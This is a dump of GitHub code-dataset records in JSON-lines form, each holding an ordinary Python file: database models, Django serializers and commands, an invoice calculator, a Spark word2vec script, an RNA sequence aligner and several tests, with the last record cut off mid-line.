sqlalchemy.ext.declarative import declarative_base\n\n\nengine = create_engine('postgresql://ubuntu:thinkful@localhost:5432/tbay')\nSession = sessionmaker(bind=engine)\nsession = Session()\nBase = declarative_base()\n\n\nfrom datetime import datetime\n\nfrom sqlalchemy import Column, Integer, String, DateTime\nfrom sqlalchemy import Column, Integer, String, ForeignKey\nfrom sqlalchemy.orm import relationship\n\n\n\n\nclass User(Base):\n __tablename__ = \"user\"\n \n id = Column(Integer, primary_key=True)\n name = Column(String, nullable=False)\n password = Column(String, nullable=True)\n \n #relationship to items = many items/user\n items = relationship(\"Item\", backref=\"user\")\n #relationship to bids = many bids/user\n bids = relationship(\"Bid\", backref=\"user\")\n\n\nclass Item(Base):\n __tablename__ = \"item\"\n\n id = Column(Integer, primary_key=True)\n name = Column(String, nullable=False)\n description = Column(String)\n start_time = Column(DateTime, default=datetime.utcnow)\n \n #relationship to user = many items/user\n user_id = Column(Integer, ForeignKey('user.id'),\n nullable=False)\n #relationship to bid = many bids/item\n bids = relationship(\"Bid\", backref=\"item\")\n \n \nclass Bid(Base):\n __tablename__ = \"bids\"\n \n id = Column(Integer, primary_key=True)\n price = Column(Integer, nullable=False)\n \n #relationship to user = many bids/user\n user_id = Column(Integer, ForeignKey('user.id'),\n nullable=False)\n #relationship to items = many bids/item\n item_id = Column(Integer, ForeignKey('item.id'),\n nullable=False)\n \n \n \n \nBase.metadata.drop_all(engine)\n\n \nBase.metadata.create_all(engine)\n\n\njohn = User(name=\"John\")\nbill = User(name=\"Bill\")\npam = User(name=\"Pam\")\nbaseball = Item(name=\"baseball\", user=john)\nprint(\"Made it this far\")\n\n\n\nsession.add_all([john, bill, pam])\nsession.commit()\n\n\n\n\n\n\n\n\n","repo_name":"ialamin/tbay","sub_path":"tbay.py","file_name":"tbay.py","file_ext":"py","file_size_in_byte":2071,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"71886928720","text":"import os\nfrom PIL import Image\n\nos.mkdir('PDFs')\nos.chdir('output')\nprs = os.listdir()\nfor index, pr in enumerate(prs):\n os.chdir(pr)\n slides = os.listdir()\n slides_r = []\n slide_1 = None\n for ind, slide in enumerate(slides):\n sl = Image.open(slide)\n sl_r = sl.convert('RGB')\n if ind == 0:\n slide_1 = sl_r\n else:\n slides_r.append(sl_r)\n os.chdir('..')\n slide_1.save(f'../PDFs/presentation{index+1}.pdf', save_all=True, append_images=slides_r)","repo_name":"dimDamyanov/ProtectedPPTXDownload","sub_path":"imgs_to_pdf.py","file_name":"imgs_to_pdf.py","file_ext":"py","file_size_in_byte":514,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"16757075808","text":"import LayerOptimizer\nimport MutationGenerator\nimport os\nimport keras\nimport numpy as np\nfrom DataProcessing import DataProcessing\n\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '2'\nfilepath = 'proteindata.csv'\n\n\ndef main():\n processor = DataProcessing(filepath)\n pseqs = processor.encoded_sequences\n split = processor.split\n scaled_vals = processor.scaled_values\n try:\n model = keras.models.load_model(\"model\")\n except OSError:\n model = LayerOptimizer.run(split, scaled_vals)\n encoded_variant, scaled_score = MutationGenerator.run(pseqs, model)\n decoded_variant = processor.decode(encoded_variant)\n unscaled_score = processor.unscale_value(scaled_score)\n\n best_from_training_set = \"MAPTLSEQTRQLVRASVPALQKHSVAISATMGRLLFERYPETRSLSELPERQLHKSASALLAYARSIDNPSALQAAIRRMVLSHARAGVQAVHYPLGWECLRDAIKEVLGPDATETLLQAWKEAYDFLAHLLSTKEAQVYAVLAE\"\n encoded_best = np.array([processor.encode(best_from_training_set)])\n scaled_best = model.predict(encoded_best)\n unscaled_best = processor.unscale_value(scaled_best)\n\n print(\"Directed evolution variant score: \", unscaled_score)\n print(\"Best variant score: \", unscaled_best)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"cander824/DirectedEvolution","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1194,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"29057189657","text":"from billing.library.python.calculator.exceptions import (\n LoadMethodError, DumpTransactionsError,\n)\n\nfrom billing.hot.calculators.oplata.calculator.core.models.transaction import (\n CashlessTransactionBatch, PayoutTransactionBatch,\n)\nfrom billing.hot.calculators.oplata.calculator.faas.schemas.method import (\n load_payout_method_schema, load_cashless_method_schema,\n)\nfrom billing.hot.calculators.oplata.calculator.faas.schemas.transaction import (\n dump_cashless_transaction_batch_schema, dump_payout_transaction_batch_schema,\n)\n\n\nclass TestLoadCashlessSchemas:\n def test_load_payment_method(self, payment_event: dict, cashless_references: dict):\n given_payment_method = {\n 'event': payment_event,\n 'references': cashless_references,\n }\n\n try:\n _ = load_cashless_method_schema(given_payment_method)\n except LoadMethodError as e:\n assert False, f'load_cashless_method_schema raises {e}'\n\n def test_load_refund_method(self, refund_event: dict, cashless_references: dict):\n given_refund_method = {\n 'event': refund_event,\n 'references': cashless_references,\n }\n\n try:\n _ = load_cashless_method_schema(given_refund_method)\n except LoadMethodError as e:\n assert False, f'load_cashless_method_schema raises {e}'\n\n def test_load_subscription_method(self, subscription_event: dict, cashless_references: dict):\n given_subscription_method = {\n 'event': subscription_event,\n 'references': cashless_references,\n }\n\n try:\n _ = load_cashless_method_schema(given_subscription_method)\n except LoadMethodError as e:\n assert False, f'load_cashless_method_schema raises {e}'\n\n def test_load_method_with_empty_event(self, cashless_references: dict):\n given_method = {\n 'event': {},\n 'references': cashless_references,\n }\n\n try:\n loaded_method = load_cashless_method_schema(given_method)\n except LoadMethodError as e:\n assert False, f\"load_cashless_method_schema raises {e}\"\n\n assert loaded_method == {}\n\n\nclass TestLoadPayoutSchema:\n def test_load_payout_method(self, payout_event: dict, payout_references: dict):\n given_payout_method = {\n 'event': payout_event,\n 'references': payout_references,\n }\n\n try:\n _ = load_payout_method_schema(given_payout_method)\n except LoadMethodError as e:\n assert False, f'load_payout_method_schema raises {e}'\n\n\nclass TestCashlessTransactionBatchSchema:\n def test_dump_cashless_transaction_batch_schema(self, cashless_transaction_batch: CashlessTransactionBatch):\n try:\n _ = dump_cashless_transaction_batch_schema(cashless_transaction_batch)\n except DumpTransactionsError as e:\n assert False, f'dump_cashless_transaction_batch_schema raises {e}'\n\n\nclass TestPayoutTransactionBatchSchema:\n def test_dump_payout_transaction_batch_schema(self, payout_transaction_batch: PayoutTransactionBatch):\n try:\n _ = dump_payout_transaction_batch_schema(payout_transaction_batch)\n except DumpTransactionsError as e:\n assert False, f'dump_payout_transaction_batch_schema raises {e}'\n","repo_name":"Alexander-Berg/2022-tests-examples","sub_path":"billing/tests/faas/schemas/test_schemas (2).py","file_name":"test_schemas (2).py","file_ext":"py","file_size_in_byte":3358,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"16043913772","text":"import base64\nimport re\n\nfrom django.core.files.base import ContentFile\nfrom rest_framework import serializers\nfrom rest_framework.exceptions import ValidationError\nfrom rest_framework.validators import UniqueTogetherValidator\n\nfrom posts.models import Comment, Follow, Group, Post, User\n\n\nclass Base64ImageField(serializers.ImageField):\n\n def to_internal_value(self, data):\n if isinstance(data, str):\n data_format = re.match(\n (r'^data:image/(?P[\\w.+]{3,18});base64,'\n r'(?P[A-Za-z0-9+/]+[=]{,2})$'),\n data\n )\n if data_format:\n ext = data_format.group('ext')\n img_str = data_format.group('img_str')\n data = ContentFile(\n base64.b64decode(img_str),\n name=f'temp.{ext}'\n )\n return super().to_internal_value(data)\n\n\nclass PostSerializer(serializers.ModelSerializer):\n\n author = serializers.SlugRelatedField(\n slug_field='username', read_only=True\n )\n image = Base64ImageField(required=False,\n allow_null=True)\n\n class Meta:\n fields = ('id', 'author', 'text', 'pub_date', 'image', 'group')\n model = Post\n\n\nclass GroupSerializer(serializers.ModelSerializer):\n\n class Meta:\n fields = ('id', 'title', 'slug', 'description')\n model = Group\n\n\nclass CommentSerializer(serializers.ModelSerializer):\n\n author = serializers.SlugRelatedField(slug_field='username',\n read_only=True)\n\n class Meta:\n fields = ('id', 'author', 'text', 'created', 'post')\n read_only_fields = ('post', )\n model = Comment\n\n\nclass FollowSerializer(serializers.ModelSerializer):\n\n user = serializers.SlugRelatedField(\n slug_field='username',\n read_only=True,\n default=serializers.CurrentUserDefault()\n )\n following = serializers.SlugRelatedField(slug_field='username',\n queryset=User.objects.all())\n\n class Meta:\n fields = ('user', 'following')\n model = Follow\n validators = [\n UniqueTogetherValidator(\n queryset=Follow.objects.all(),\n fields=('user', 'following')\n )\n ]\n\n def validate_following(self, value):\n if self.context['request'].user == value:\n raise ValidationError(\n 'Нельзя подписываться на самого себя!')\n return value\n","repo_name":"Tolik-vihodnoi/api_final_yatube","sub_path":"yatube_api/api/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":2582,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"34330057799","text":"\"\"\"\nA command for reaching out to wunderground to get weather values that we insert regularly.\n\nExample of use.\nWEATHER_USERNAME = os.environ.get('WEATHER_USERNAME')\nWEATHER_CITY = os.environ.get('WEATHER_CITY')\nWEATHER_STATE = os.environ.get('WEATHER_STATE')\nWEATHER_KEY = os.environ.get('WEATHER_KEY')\n\nWEATHER_DATA = {WEATHER_USERNAME: {\n 'wunder_key': WEATHER_KEY or 'cc622998c566839f',\n 'city': WEATHER_CITY or 'Bush',\n 'state': WEATHER_STATE or 'LA',\n}}\n\"\"\"\n\n\nimport json\nimport urllib.request\nfrom django.contrib.auth.models import User\nfrom django.core.management import BaseCommand\nfrom observations.settings import WEATHER_DATA\nfrom observations.models import WeatherReading\nimport sendgrid\nimport os\nfrom sendgrid.helpers.mail import *\nimport pytz\nfrom datetime import datetime\n\n\n\nWUNDERWEATHER_TO_WEATHER_STATE = {\n 'Overcast': 'o',\n 'Clear': 's',\n 'Partly Cloudy': 'p',\n 'Scattered Clouds': 'p',\n 'Cloudy': 'c',\n }\n\n\n\nclass Command(BaseCommand):\n help = \"\"\"\n Pulls weather information from Wunderground and logs it. View the source code\n for detailed information on formats.\n \"\"\"\n\n def handle(self, *args, **options):\n self.stdout.write('Pulling weather')\n for username in WEATHER_DATA:\n # If there isn't a username, we assume there is no data to process.\n if not username:\n print('No Wunderground Username was found. Ignoring.')\n continue\n user = User.objects.filter(username=username).first()\n if not user:\n raise Exception('Username {0} not found'.format(username))\n data = WEATHER_DATA[username]\n url = data['url']\n if not url:\n raise Exception('No URL provided')\n key = data['wunder_key']\n if not key:\n raise Exception('No key provided')\n response = urllib.request.urlopen(url)\n stringResponse = response.readall().decode('utf-8')\n obj = json.loads(stringResponse)\n current = obj['current_observation']\n if self.__observation_date_is_valid(current):\n currentWeather = current['weather']\n temp = current['temp_f']\n weatherState = self.get_weather_state_for_wunderground_weather(currentWeather)\n reading = WeatherReading()\n reading.state = weatherState\n reading.temperature = temp\n reading.user = user\n reading.save()\n else:\n self.__send_observation_date_failed_email(current)\n\n def get_weather_state_for_wunderground_weather(self, weather):\n state = 's'\n if weather in WUNDERWEATHER_TO_WEATHER_STATE:\n state = WUNDERWEATHER_TO_WEATHER_STATE[weather]\n else:\n if 'Rain' in weather or 'Drizzle' in weather:\n state = 'r'\n elif 'Snow' in weather or 'Ice' in weather or 'Hail' in weather:\n state = 'n'\n return state\n\n\n def __observation_date_is_valid(self, data):\n if 'local_epoch' not in data:\n return False\n timezone = pytz.timezone('US/Central')\n observedEpoch = int(data['local_epoch'])\n observedDate = datetime.fromtimestamp(observedEpoch, timezone)\n currentTime = datetime.now(timezone)\n diff = currentTime - observedDate\n if diff.days > 0:\n return False\n threeHours = 3*3600\n secondsDifference = diff.seconds//3600\n\n if secondsDifference > threeHours:\n return False\n return True\n\n\n def __send_observation_date_failed_email(self, obj):\n sg = sendgrid.SendGridAPIClient(apikey=os.environ.get('SENDGRID_API_KEY'))\n from_email = Email(\"no-reply@log.bonnieblueag.com\")\n subject = \"Observed temperature could not be grabbed.\"\n to_email = Email(\"mike@bonnieblueag.com\")\n\n rawContent = \"\"\"\n Current time: {0}\n {1}\n \"\"\".format(datetime.now(pytz.timezone('US/Central')), json.dumps(obj, sort_keys=True, indent=4))\n\n content = Content(\"text/plain\", rawContent)\n mail = Mail(from_email, subject, to_email, content)\n response = sg.client.mail.send.post(request_body=mail.get())\n\n\n\n","repo_name":"macornwell/farm-log","sub_path":"observations/management/commands/capture_weather.py","file_name":"capture_weather.py","file_ext":"py","file_size_in_byte":4335,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"43725544453","text":"#!/usr/bin/env python3\n\nfrom decimal import Decimal\nfrom decimal import ROUND_HALF_UP\nimport locale\n\n\n# display a title\nprint(\"The Invoice program\")\nprint()\n\nlocale.setlocale(locale.LC_ALL, \"en_US\")\n\nchoice = \"y\"\nwhile choice == \"y\":\n \n # get the user entry\n order_total = Decimal(input(\"Enter order total: \"))\n order_total = order_total.quantize(Decimal(\"1.00\"), ROUND_HALF_UP)\n print() \n\n # determine the discount percent\n if order_total > 0 and order_total < 100:\n discount_percent = Decimal(\"0\")\n elif order_total >= 100 and order_total < 250:\n discount_percent = Decimal(\".1\")\n elif order_total >= 250:\n discount_percent = Decimal(\".2\")\n\n # calculate the results\n discount = order_total * discount_percent\n discount = discount.quantize(Decimal(\"1.00\"), ROUND_HALF_UP) \n subtotal = order_total - discount\n shipping_cost = subtotal * Decimal(0.085)\n shipping_cost = shipping_cost.quantize(Decimal(\"1.00\"), ROUND_HALF_UP)\n tax_percent = Decimal(\".05\")\n sales_tax = subtotal * tax_percent\n sales_tax = sales_tax.quantize(Decimal(\"1.00\"), ROUND_HALF_UP) \n invoice_total = subtotal + sales_tax\n\n order_total = locale.currency(order_total, grouping=True)\n invoice_total = locale.currency(invoice_total, grouping=True)\n\n spec_numbers = \"10,\"\n spec_currency = \">10\"\n column_width = \"20\"\n # display the results\n print(f\"{'Order total':{column_width}}{order_total:{spec_currency}}\")\n print(f\"{'Discount amount':{column_width}}{discount:{spec_numbers}}\")\n print(f\"{'Subtotal':{column_width}}{subtotal:{spec_numbers}}\")\n print(f\"{'Shipping Cost':{column_width}}{shipping_cost:{spec_numbers}}\")\n print(f\"{'Sales tax':{column_width}}{sales_tax:{spec_numbers}}\")\n print(f\"{'Invoice total':{column_width}}{invoice_total:{spec_currency}}\")\n print()\n\n choice = input(\"Continue? (y/n): \") \n print()\n \nprint(\"Bye!\")\n","repo_name":"Chrisharnett/Spring-Repo","sub_path":"Python Programming Murach/exercises/ch09/invoice_decimal.py","file_name":"invoice_decimal.py","file_ext":"py","file_size_in_byte":2006,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"3192656737","text":"from __future__ import print_function\nfrom pyspark import SparkConf, SparkContext\nfrom pyspark.ml.feature import Word2VecModel\nfrom pyspark.sql import SparkSession\nimport pandas as pd\n\nimport csv\n\nimport sys\n\nreload(sys)\nsys.setdefaultencoding('utf8')\n\nimport ConfigParser\nconfig = ConfigParser.RawConfigParser()\nconfig.read('/opt/word2vec/config.properties')\n\n# get config data\nspark_master = config.get('SparkSection', 'spark_master')\nspark_executor_memory = sys.argv[2]\nmin_word_count = sys.argv[3]\nnum_iterations = sys.argv[4]\nvector_size = sys.argv[5]\ndebug_flag = sys.argv[6]\nsynonym_test_file = config.get('DataSection', 'synonym_test_file')\nsynonym_result_file = config.get('DataSection', 'synonym_result_file')\n\n\nconf = (SparkConf()\n .setMaster(spark_master)\n .setAppName(\"WikiFindSynonyms\")\n .set(\"spark.executor.memory\", spark_executor_memory))\nsc = SparkContext(conf = conf)\n\n\nspark = SparkSession.builder.master(spark_master) \\\n .appName(\"WikiWord2Vec\") \\\n .config(\"spark.executor.memory\", spark_executor_memory) \\\n .getOrCreate()\n\nmodel = Word2VecModel.load(sys.argv[1])\n\n\n\nwith open(synonym_test_file, 'r') as f:\n reader = csv.reader(f)\n orig_words = list(reader)\n f.close()\n\n\nlistPDDF = []\nfor orig_word in orig_words:\n try:\n synonymsDF = model.findSynonyms(orig_word[0], 10)\n synonymsPDDF = synonymsDF.toPandas()\n\n lst = []\n for i in synonymsPDDF['word']:\n lst.append(orig_word[0])\n synonymsPDDF['original_word'] = lst\n\n listPDDF.append(synonymsPDDF)\n except:\n print(\"Error in word - %s\" % word)\n\nresultPDDF = pd.concat(listPDDF)\n\nwith open(synonym_result_file, 'w') as rf:\n writer = csv.writer(rf)\n resultPDDF.to_csv(rf)\n rf.close()\n\nspark.stop()\n","repo_name":"cloudmesh-project/cloudmesh.word2vec","sub_path":"code/data_process/use_word2vec_model.py","file_name":"use_word2vec_model.py","file_ext":"py","file_size_in_byte":1794,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"34869292349","text":"\"\"\" \n RNA Alignment Assignment\n \n Implement each of the functions below using the algorithms covered in class.\n You can construct additional functions and data structures but you should not\n change the functions' APIs.\n\n You will be graded on the helper function implementations as well as the RNA alignment, although\n you do not have to use your helper function.\n \n *** Make sure to comment out any print statement so as not to interfere with the grading script\n\"\"\"\n\nimport sys # DO NOT EDIT THIS\nimport utils\nfrom numpy import zeros, ndarray\nfrom shared import *\nfrom evaluation import index_isoform_locations\n\nALPHABET = [TERMINATOR] + BASES\n\ndef get_suffix_array(s):\n \"\"\"\n Naive implementation of suffix array generation (0-indexed). You do not have to implement the\n KS Algorithm. Make this code fast enough so you have enough time in Aligner.__init__ (see bottom).\n\n Input:\n s: a string of the alphabet ['A', 'C', 'G', 'T'] already terminated by a unique delimiter '$'\n \n Output: list of indices representing the suffix array\n\n >>> get_suffix_array('GATAGACA$')\n [8, 7, 5, 3, 1, 6, 4, 0, 2]\n \"\"\"\n suffixes = utils.get_suffixes(s)\n suffixes.sort()\n return [suf[1] for suf in suffixes if suf is not None]\n\ndef get_bwt(s, sa):\n \"\"\"\n Input:\n s: a string terminated by a unique delimiter '$'\n sa: the suffix array of s\n\n Output:\n L: BWT of s as a string\n \"\"\"\n L = ''\n for i in sa:\n L += s[i-1]\n return L\n\ndef get_F(L):\n \"\"\"\n Input: L = get_bwt(s)\n\n Output: F, first column in Pi_sorted\n \"\"\"\n return ''.join(sorted(L))\n\ndef get_M(F):\n \"\"\"\n Returns the helper data structure M (using the notation from class). M is a dictionary that maps character\n strings to start indices. i.e. M[c] is the first occurrence of \"c\" in F.\n\n If a character \"c\" does not exist in F, you may set M[c] = -1\n \"\"\"\n M = {}\n for ch in ALPHABET:\n try:\n M[ch] = F.index(ch)\n except ValueError:\n M[ch] = -1\n return M\n\ndef get_occ(L):\n \"\"\"\n Returns the helper data structure OCC (using the notation from class). OCC should be a dictionary that maps \n string character to a list of integers. If c is a string character and i is an integer, then OCC[c][i] gives\n the number of occurrences of character \"c\" in the bwt string up to and including index i\n \"\"\"\n OCC = {ch: ([0]*len(L)) for ch in ALPHABET}\n \n for index in range(len(L)):\n for let in range(len(ALPHABET)):\n\n if L[index] == ALPHABET[let]:\n is_same = 1\n else:\n is_same = 0 \n\n OCC[ALPHABET[let]][index] = OCC[ALPHABET[let]][index-1] + is_same\n\n return OCC \n\ndef exact_suffix_matches(p, M, occ):\n \"\"\"\n Find the positions within the suffix array sa of the longest possible suffix of p \n that is a substring of s (the original string).\n \n Note that such positions must be consecutive, so we want the range of positions.\n\n Input:\n p: the pattern string\n M, occ: buckets and repeats information used by sp, ep\n\n Output: a tuple (range, length)\n range: a tuple (start inclusive, end exclusive) of the indices in sa that contains\n the longest suffix of p as a prefix. range=None if no indices matches any suffix of p\n length: length of the longest suffix of p found in s. length=0 if no indices matches any suffix of p\n\n An example return value would be ((2, 5), 7). This means that p[len(p) - 7 : len(p)] is\n found in s and matches positions 2, 3, and 4 in the suffix array.\n\n >>> s = 'ACGT' * 10 + '$'\n >>> sa = get_suffix_array(s)\n >>> sa\n [40, 36, 32, 28, 24, 20, 16, 12, 8, 4, 0, 37, 33, 29, 25, 21, 17, 13, 9, 5, 1, 38, 34, 30, 26, 22, 18, 14, 10, 6, 2, 39, 35, 31, 27, 23, 19, 15, 11, 7, 3]\n >>> L = get_bwt(s, sa)\n >>> L\n 'TTTTTTTTTT$AAAAAAAAAACCCCCCCCCCGGGGGGGGGG'\n >>> F = get_F(L)\n >>> F\n '$AAAAAAAAAACCCCCCCCCCGGGGGGGGGGTTTTTTTTTT'\n >>> M = get_M(F)\n >>> sorted(M.items())\n [('$', 0), ('A', 1), ('C', 11), ('G', 21), ('T', 31)]\n >>> occ = get_occ(L)\n >>> type(occ) == dict, type(occ['$']) == list, type(occ['$'][0]) == int\n (True, True, True)\n >>> occ['$']\n [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1]\n >>> exact_suffix_matches('ACTGA', M, occ)\n ((1, 11), 1)\n >>> exact_suffix_matches('$', M, occ)\n ((0, 1), 1)\n >>> exact_suffix_matches('AA', M, occ)\n ((1, 11), 1)\n \"\"\"\n _length = 0\n _range = None\n i = len(p) - 1\n\n sp = M[p[i]]\n if sp == -1:\n return (_range, _length)\n\n ep = sp + occ[p[i]][-1] - 1\n i -= 1\n _length += 1\n _range = (sp, ep)\n\n while i >= 0 and sp <= ep:\n\n x = (occ[p[i]][sp - 1])\n y = (occ[p[i]][ep])\n\n sp = (M[p[i]] + x)\n ep = (M[p[i]] + y) - 1\n \n if sp > ep:\n break\n else: \n i -= 1\n _length += 1\n _range = (sp, ep)\n\n _range = (_range[0], _range[1] + 1)\n\n\n return (_range, _length) \n\n \n\nMIN_INTRON_SIZE = 20\nMAX_INTRON_SIZE = 10000\n\nclass Aligner:\n def __init__(self, genome_sequence, known_genes):\n \"\"\"\n Initializes the aligner. Do all time intensive set up here. i.e. build suffix array.\n\n genome_sequence: a string (NOT TERMINATED BY '$') representing the bases of the of the genome\n known_genes: a python set of Gene objects (see shared.py) that represent known genes. You can get the isoforms \n and exons from a Gene object\n\n Time limit: 500 seconds maximum on the provided data. Note that our server is probably faster than your machine, \n so don't stress if you are close. Server is 1.25 times faster than the i7 CPU on my computer\n\n \"\"\"\n \n self.transcriptome, self.index_dict = self.build_transcriptome(known_genes, genome_sequence)\n #print('Built transcriptome')\n sequence_to_search = self.transcriptome # or genome_sequence?\n\n self._sa = get_suffix_array(sequence_to_search + '$')\n #print('Built SA')\n self._bwt = get_bwt(sequence_to_search + '$', self._sa)\n #print('Built BWT')\n self._F = get_F(self._bwt)\n self._M = get_M(self._F)\n self._occ = get_occ(self._bwt)\n #print('Built OCC matrix')\n\n def align(self, read_sequence):\n \"\"\"\n Returns an alignment to the genome sequence. An alignment is a list of pieces. \n Each piece consists of a start index in the read, a start index in the genome, and a length \n indicating how many bases are aligned in this piece. Note that mismatches are count as \"aligned\".\n\n Note that >= + . If your algorithm produces an alignment that \n violates this, we will remove pieces from your alignment arbitrarily until consecutive pieces \n satisfy >= + \n\n Return value must be in the form (also see the project pdf):\n [(, , -1 and ctr < 20:\n ctr += 1\n\n if curr_length != matched_length:\n tested_bases = {match_sequence[-curr_length], read_sequence[-curr_length]}\n matched_length = curr_length\n else:\n tested_bases.add(match_sequence[-curr_length]) \n \n print('------------------BACKTRACK-----------------------')\n print(curr_length)\n print(tested_bases)\n match_sequence, curr_length, match_rng = self.substitute_base(read_sequence, 0, tested_bases)\n\n print('Final Match!: ')\n if match_rng == None:\n return []\n return self.get_match_locations(read_sequence, match_sequence, self._sa[match_rng[0]]) #match_rng is location in the SA\n \n def substitute_base(self, match_sequence, matched_length, tested_bases):\n\n bases = {'A', 'C', 'G', 'T'}\n initial_seq = match_sequence\n lens = set()\n best_len = matched_length\n rng, length = exact_suffix_matches(match_sequence, self._M, self._occ)\n match_rng = rng\n curr_length = length\n num_subs = 0 #may change (awkward backtrack method is too complex)\n while curr_length < len(match_sequence):\n\n if num_subs > 6:\n print(\"TOO MANY SUBS\")\n return initial_seq, max(best_len-1, 0), None\n\n num_subs += 1\n lens.clear() \n best_len = 0\n print(match_sequence[-(curr_length+1)])\n swap_bases = bases.difference(match_sequence[-(curr_length+1)]) #do not retest the base that is currently causing a mismatch\n swap_bases = swap_bases.difference(tested_bases) #remove bases we have already tried from set of possible substitutions\n print('Bases to test: ' + str(swap_bases))\n tested_bases.clear()\n\n print('$$$$')\n \n \n for ch in swap_bases:\n new_match = match_sequence[:-(curr_length+1)] + ch + match_sequence[-(curr_length+1)+1:]\n print(new_match)\n rng, length = exact_suffix_matches(new_match, self._M, self._occ)\n print(length)\n lens.add(length)\n if length > best_len: #Selecting next match based on longest length, is there a better way?\n match_sequence = new_match\n best_len = length\n match_rng = rng\n\n #Test if align is stuck and return proper data\n if len(lens) == 1:\n print('GOT STUCK')\n curr_length = max(0, best_len-2)\n match_sequence = initial_seq\n break\n \n curr_length = best_len \n\n return match_sequence, curr_length, match_rng\n\n\n def get_match_locations(self, original, actual, index):\n ctr = 0\n previous = -2\n match_locations = []\n curr_match = (None, None, None) #(read, ref, len)\n\n print(actual)\n for a,b in zip(original, actual):\n if a == b:\n ref_index = self.index_dict[index+ctr]\n if curr_match[0] == None:\n curr_match = (ctr, ref_index, 1)\n elif ref_index - previous != 1:\n match_locations.append(curr_match)\n curr_match = (ctr, ref_index, 1)\n else:\n curr_match = (curr_match[0], curr_match[1], curr_match[2] + 1)\n\n previous = ref_index \n\n else:\n if curr_match.count(None) == 0:\n match_locations.append(curr_match)\n curr_match = (None, None, None)\n\n previous = -2\n\n ctr += 1\n\n if curr_match.count(None) == 0:\n match_locations.append(curr_match)\n\n return match_locations \n \n\n\n def build_transcriptome(self, known_genes, genome_sequence):\n transcriptome = ''\n index_dict = {}\n length = 0\n isoforms = {}\n seq = ''\n for g in known_genes:\n for i in g.isoforms:\n for e in i.exons:\n segment = genome_sequence[e.start:e.end]\n seq += segment\n for x in range(e.end - e.start):\n index_dict[length + x] = e.start + x\n transcriptome += segment\n length += len(segment)\n isoforms[i.id] = seq\n seq = ''\n transcriptome += '!' #Assuming reads can not span across isoforms so they are seperated with unique char\n length += 1\n return transcriptome, index_dict\n\n\n\n'''\nWrite-up:\n\nI used the bowtie1 technique, searching for matches and backtracking when it gets stuck. \n\n'''","repo_name":"mxscott/rna-aligner","sub_path":"project.py","file_name":"project.py","file_ext":"py","file_size_in_byte":12682,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"16061414908","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nimport json\n\nfrom django.http import HttpResponse\n\nfrom customauth.models import MyUser\n\n\ndef authenticateAdmin(user):\n if user is None or not user.is_admin:\n return False\n else:\n return True\n\n\ndef authenticatePacker(user):\n if user is None or not user.groups.filter(name='packer').exists():\n return False\n else:\n return True\n\n\ndef failAuthentication():\n RESULT_JSON = {}\n\n RESULT_JSON['status'] = 403\n RESULT_JSON['error_message'] = \"Forbidden\"\n\n return HttpResponse(json.dumps(RESULT_JSON), content_type='application/json')\n\n\n# decorator for sensitive data\ndef adminOnly(f):\n def wrap(request, *args, **kwargs):\n # this check the session if userid key exist, if not it will redirect to login page\n try:\n userId = request.session['user']\n user = MyUser.objects.get(id=userId)\n\n if authenticateAdmin(user):\n return f(request, *args, **kwargs)\n else:\n return failAuthentication()\n\n except KeyError:\n return failAuthentication()\n wrap.__doc__ = f.__doc__\n wrap.__name__ = f.__name__\n return wrap\n","repo_name":"webexpert0727/ReactJS_Python","sub_path":"manager/authentication.py","file_name":"authentication.py","file_ext":"py","file_size_in_byte":1229,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"7971463184","text":"from __future__ import annotations\nimport unittest\nfrom abc import ABC, abstractmethod\nfrom typing import Dict, List, Tuple\nimport uuid\nfrom src.austin_heller_repo.common import JsonParsable, StringEnum, JsonParsableException\n\n\nclass ModuleInputTypeEnum(StringEnum):\n\tImage = \"image\"\n\tTensorCacheElement = \"tensor_cache_element\"\n\n\nclass ModuleInputJsonParsable(JsonParsable, ABC):\n\n\tdef __init__(self):\n\t\tsuper().__init__()\n\n\t\tpass\n\n\t@classmethod\n\tdef get_json_parsable_type_dictionary_key(cls) -> str:\n\t\treturn \"__module_input_type\"\n\n\nclass ImageModuleInputJsonParsable(ModuleInputJsonParsable):\n\n\tdef __init__(self, *, image_bytes_base64string: str, image_extension: str):\n\t\tsuper().__init__()\n\n\t\tself.__image_bytes_base64string = image_bytes_base64string\n\t\tself.__image_extension = image_extension\n\n\tdef get_image_bytes_base64string(self) -> str:\n\t\treturn self.__image_bytes_base64string\n\n\tdef get_image_extension(self) -> str:\n\t\treturn self.__image_extension\n\n\t@classmethod\n\tdef get_json_parsable_type(cls) -> StringEnum:\n\t\treturn ModuleInputTypeEnum.Image\n\n\tdef to_json(self) -> Dict:\n\t\tjson_dict = super().to_json()\n\t\tjson_dict[\"image_bytes_base64string\"] = self.__image_bytes_base64string\n\t\tjson_dict[\"image_extension\"] = self.__image_extension\n\t\treturn json_dict\n\n\nclass TensorCacheElementModuleInputJsonParsable(ModuleInputJsonParsable):\n\n\tdef __init__(self, *, tensor_data: List):\n\t\tsuper().__init__()\n\n\t\tself.__tensor_data = tensor_data\n\n\tdef get_tensor_data(self) -> List:\n\t\treturn self.__tensor_data\n\n\t@classmethod\n\tdef get_json_parsable_type(cls) -> StringEnum:\n\t\treturn 